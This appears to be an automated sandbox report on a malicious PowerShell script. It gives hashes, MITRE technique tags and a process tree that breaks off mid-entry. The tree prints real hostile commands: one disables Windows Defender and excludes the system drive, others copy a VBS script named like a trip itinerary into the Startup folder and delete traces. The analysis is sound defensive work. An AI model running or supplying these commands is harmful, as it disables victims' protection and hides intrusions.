ea43c3de37ff0a0cc029e8503dd174b3c4c9e0baefe60dd180a84d57d95bd9dd

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 17:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xrhwy.ps1
Size 5KB
Sample260522-vs2gpsbv3q
SHA256 ea43c3de37ff0a0cc029e8503dd174b3c4c9e0baefe60dd180a84d57d95bd9dd
MD5 7289141c5c568ff5284ae5472b02f89e
SHA1 b6a9748cc3d126e6daed12d1ef984672dacefaf1
SHA512 578548b774933a5964a4298f5a8e23f9d570523228735e5ac88aaf366437cab125479a6c6eedcf5e8a1b3407168a2f97b319579ade6fab6f2a963d031a28607f
SSDEEP 96:4yEBs5sZ58fOO9D+FwqODvhsZ5SHAI8n9731RrvHgHAcc8EQ1QadUvLnq20gc8mX:4yeefmqqcH897brElEgjqDq96RJnncWU
TLSH
T1D9C138005AF95608BAF36F05AABFA051897B7A5D9D3ADA4D0048C04E17F2E44CC6BF73
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	660	PowerShell.exe
3	3880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
660	PowerShell.exe
3880	powershell.exe
1824	powershell.exe

.NET Reactor proctector 64 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/3880-29-0x0000015045600000-0x0000015045666000-memory.dmp	net_reactor
behavioral2/memory/3880-45-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-155-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-153-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-149-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-147-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-143-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-141-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-137-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-135-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-133-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-131-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-129-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-127-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-125-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-121-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-119-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-117-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-115-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-113-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-111-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-109-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-107-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-105-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-103-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-101-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-99-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-97-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-95-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-93-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-91-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-89-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-87-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-83-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-81-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-79-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-78-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-75-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-73-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-71-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-69-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-67-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-65-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-63-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-61-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-59-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-57-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-55-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-53-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-51-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-49-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-47-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-43-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-41-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-151-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-39-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-145-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-139-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-37-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-123-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-35-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-85-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-33-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor
behavioral2/memory/3880-31-0x0000015045600000-0x000001504565F000-memory.dmp	net_reactor

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6088	PING.EXE
4260	PING.EXE
6100	cmd.exe
2536	cmd.exe
2524	cmd.exe
948	cmd.exe
4656	PING.EXE
6096	cmd.exe
4996	cmd.exe
5796	cmd.exe
4188	cmd.exe
4564	cmd.exe
4924	cmd.exe
4636	PING.EXE
2292	cmd.exe
1532	cmd.exe
5968	PING.EXE
4588	cmd.exe
3432	cmd.exe
3568	PING.EXE
1628	PING.EXE
976	cmd.exe
2848	cmd.exe
6084	PING.EXE
6076	cmd.exe
4724	cmd.exe
3892	PING.EXE
4164	cmd.exe
4376	PING.EXE
2332	PING.EXE
4736	cmd.exe
5580	PING.EXE
4240	PING.EXE
4136	cmd.exe
5272	cmd.exe
796	PING.EXE
796	PING.EXE
2596	cmd.exe
3960	PING.EXE
3476	cmd.exe
4828	cmd.exe
4308	PING.EXE
3724	PING.EXE
2576	PING.EXE
6132	PING.EXE
4600	PING.EXE
4176	cmd.exe
1804	cmd.exe
5860	cmd.exe
3528	PING.EXE
2392	cmd.exe
2592	PING.EXE
2376	cmd.exe
4392	cmd.exe
220	cmd.exe
3388	cmd.exe
5692	PING.EXE
5132	cmd.exe
2476	PING.EXE
5472	cmd.exe
4532	PING.EXE
4008	cmd.exe
496	cmd.exe
1992	cmd.exe

Runs ping.exe 1 TTPs 60 IoCs

Remote System Discovery

T1018

pid	Process
6128	PING.EXE
1628	PING.EXE
3528	PING.EXE
5968	PING.EXE
6120	PING.EXE
1836	PING.EXE
4688	PING.EXE
1952	PING.EXE
4376	PING.EXE
3524	PING.EXE
6084	PING.EXE
3852	PING.EXE
4240	PING.EXE
4584	PING.EXE
2412	PING.EXE
3568	PING.EXE
6132	PING.EXE
5372	PING.EXE
4636	PING.EXE
2876	PING.EXE
2576	PING.EXE
2652	PING.EXE
1188	PING.EXE
4836	PING.EXE
5728	PING.EXE
2332	PING.EXE
2592	PING.EXE
5872	PING.EXE
5692	PING.EXE
2476	PING.EXE
5804	PING.EXE
4616	PING.EXE
6004	PING.EXE
3180	PING.EXE
3668	PING.EXE
2700	PING.EXE
5476	PING.EXE
5340	PING.EXE
5800	PING.EXE
3724	PING.EXE
2940	PING.EXE
4600	PING.EXE
6088	PING.EXE
1932	PING.EXE
3960	PING.EXE
3028	PING.EXE
2028	PING.EXE
5504	PING.EXE
4000	PING.EXE
796	PING.EXE
1224	PING.EXE
3052	PING.EXE
3892	PING.EXE
4260	PING.EXE
4308	PING.EXE
4532	PING.EXE
5580	PING.EXE
796	PING.EXE
4524	PING.EXE
4656	PING.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
660	PowerShell.exe
660	PowerShell.exe
3880	powershell.exe
3880	powershell.exe
3880	powershell.exe
1824	powershell.exe
1824	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	660	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	660	PowerShell.exe
Token: SeSecurityPrivilege	660	PowerShell.exe
Token: SeTakeOwnershipPrivilege	660	PowerShell.exe
Token: SeLoadDriverPrivilege	660	PowerShell.exe
Token: SeSystemProfilePrivilege	660	PowerShell.exe
Token: SeSystemtimePrivilege	660	PowerShell.exe
Token: SeProfSingleProcessPrivilege	660	PowerShell.exe
Token: SeIncBasePriorityPrivilege	660	PowerShell.exe
Token: SeCreatePagefilePrivilege	660	PowerShell.exe
Token: SeBackupPrivilege	660	PowerShell.exe
Token: SeRestorePrivilege	660	PowerShell.exe
Token: SeShutdownPrivilege	660	PowerShell.exe
Token: SeDebugPrivilege	660	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	660	PowerShell.exe
Token: SeRemoteShutdownPrivilege	660	PowerShell.exe
Token: SeUndockPrivilege	660	PowerShell.exe
Token: SeManageVolumePrivilege	660	PowerShell.exe
Token: 33	660	PowerShell.exe
Token: 34	660	PowerShell.exe
Token: 35	660	PowerShell.exe
Token: 36	660	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	660	PowerShell.exe
Token: SeSecurityPrivilege	660	PowerShell.exe
Token: SeTakeOwnershipPrivilege	660	PowerShell.exe
Token: SeLoadDriverPrivilege	660	PowerShell.exe
Token: SeSystemProfilePrivilege	660	PowerShell.exe
Token: SeSystemtimePrivilege	660	PowerShell.exe
Token: SeProfSingleProcessPrivilege	660	PowerShell.exe
Token: SeIncBasePriorityPrivilege	660	PowerShell.exe
Token: SeCreatePagefilePrivilege	660	PowerShell.exe
Token: SeBackupPrivilege	660	PowerShell.exe
Token: SeRestorePrivilege	660	PowerShell.exe
Token: SeShutdownPrivilege	660	PowerShell.exe
Token: SeDebugPrivilege	660	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	660	PowerShell.exe
Token: SeRemoteShutdownPrivilege	660	PowerShell.exe
Token: SeUndockPrivilege	660	PowerShell.exe
Token: SeManageVolumePrivilege	660	PowerShell.exe
Token: 33	660	PowerShell.exe
Token: 34	660	PowerShell.exe
Token: 35	660	PowerShell.exe
Token: 36	660	PowerShell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 660 wrote to memory of 3880	660	PowerShell.exe	83
PID 3880 wrote to memory of 432	3880	powershell.exe	84
PID 3880 wrote to memory of 5556	3880	powershell.exe	85
PID 3880 wrote to memory of 3388	3880	powershell.exe	86
PID 3880 wrote to memory of 4736	3880	powershell.exe	87
PID 3880 wrote to memory of 5860	3880	powershell.exe	88
PID 3880 wrote to memory of 1532	3880	powershell.exe	89
PID 3880 wrote to memory of 5964	3880	powershell.exe	90
PID 3880 wrote to memory of 508	3880	powershell.exe	91
PID 3880 wrote to memory of 5948	3880	powershell.exe	92
PID 3880 wrote to memory of 5472	3880	powershell.exe	93
PID 5556 wrote to memory of 4532	5556	cmd.exe	97
PID 4736 wrote to memory of 6120	4736	cmd.exe	95
PID 3388 wrote to memory of 2412	3388	cmd.exe	98
PID 5860 wrote to memory of 5580	5860	cmd.exe	96
PID 5948 wrote to memory of 5968	5948	cmd.exe	99
PID 5964 wrote to memory of 6084	5964	cmd.exe	101
PID 5472 wrote to memory of 5804	5472	cmd.exe	94
PID 508 wrote to memory of 6004	508	cmd.exe	100
PID 432 wrote to memory of 1932	432	cmd.exe	102
PID 1532 wrote to memory of 3528	1532	cmd.exe	103
PID 3880 wrote to memory of 1824	3880	powershell.exe	104
PID 3880 wrote to memory of 5796	3880	powershell.exe	105
PID 3880 wrote to memory of 5668	3880	powershell.exe	106
PID 5796 wrote to memory of 796	5796	cmd.exe	107
PID 5668 wrote to memory of 3724	5668	cmd.exe	108
PID 3880 wrote to memory of 5760	3880	powershell.exe	109
PID 3880 wrote to memory of 3492	3880	powershell.exe	110
PID 3880 wrote to memory of 4828	3880	powershell.exe	111
PID 3492 wrote to memory of 2476	3492	cmd.exe	112
PID 4828 wrote to memory of 1952	4828	cmd.exe	113
PID 3880 wrote to memory of 3936	3880	powershell.exe	114
PID 3880 wrote to memory of 2596	3880	powershell.exe	115
PID 3880 wrote to memory of 6100	3880	powershell.exe	116
PID 2596 wrote to memory of 3852	2596	cmd.exe	117
PID 6100 wrote to memory of 1224	6100	cmd.exe	118
PID 3880 wrote to memory of 3692	3880	powershell.exe	119
PID 3880 wrote to memory of 6076	3880	powershell.exe	120
PID 3880 wrote to memory of 2536	3880	powershell.exe	121
PID 6076 wrote to memory of 4524	6076	cmd.exe	122
PID 2536 wrote to memory of 2876	2536	cmd.exe	123
PID 3880 wrote to memory of 5952	3880	powershell.exe	124
PID 3880 wrote to memory of 4008	3880	powershell.exe	125
PID 3880 wrote to memory of 4724	3880	powershell.exe	126
PID 4724 wrote to memory of 5872	4724	cmd.exe	127
PID 4008 wrote to memory of 3180	4008	cmd.exe	128
PID 3880 wrote to memory of 5084	3880	powershell.exe	129
PID 3880 wrote to memory of 3884	3880	powershell.exe	130
PID 3880 wrote to memory of 364	3880	powershell.exe	131
PID 364 wrote to memory of 2652	364	cmd.exe	132
PID 3884 wrote to memory of 2576	3884	cmd.exe	133
PID 3880 wrote to memory of 3444	3880	powershell.exe	134
PID 3880 wrote to memory of 2524	3880	powershell.exe	135
PID 3880 wrote to memory of 2392	3880	powershell.exe	136
PID 2524 wrote to memory of 5692	2524	cmd.exe	137
PID 2392 wrote to memory of 4240	2392	cmd.exe	138
PID 3880 wrote to memory of 3736	3880	powershell.exe	139
PID 3880 wrote to memory of 5400	3880	powershell.exe	140
PID 3880 wrote to memory of 5360	3880	powershell.exe	141
PID 5400 wrote to memory of 3568	5400	cmd.exe	142
PID 5360 wrote to memory of 2940	5360	cmd.exe	143
PID 3880 wrote to memory of 3716	3880	powershell.exe	144
PID 3880 wrote to memory of 4188	3880	powershell.exe	145
PID 3880 wrote to memory of 1936	3880	powershell.exe	146

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\xrhwy.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\ffrct_01.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778730772.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1932
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5556
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4532
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi7a8e.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2412
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi7aab.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:6120
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui7a8e.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5860
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5580
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui7aab.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3528
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\xrhwy.ps1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5964
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6084
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ffrct_01.ps1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:508
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:6004
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\jfvhl.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5948
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5968
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vhsvg.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5472
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1824
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5796
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5668
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3724
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:5760
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2476
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:1952
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:3936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:3852
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:6100
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:1224
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:3692
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:6076
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4524
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:2876
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:5952
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:3180
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:5872
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:5084
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3884
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2576
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:2652
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:3444
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5692
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
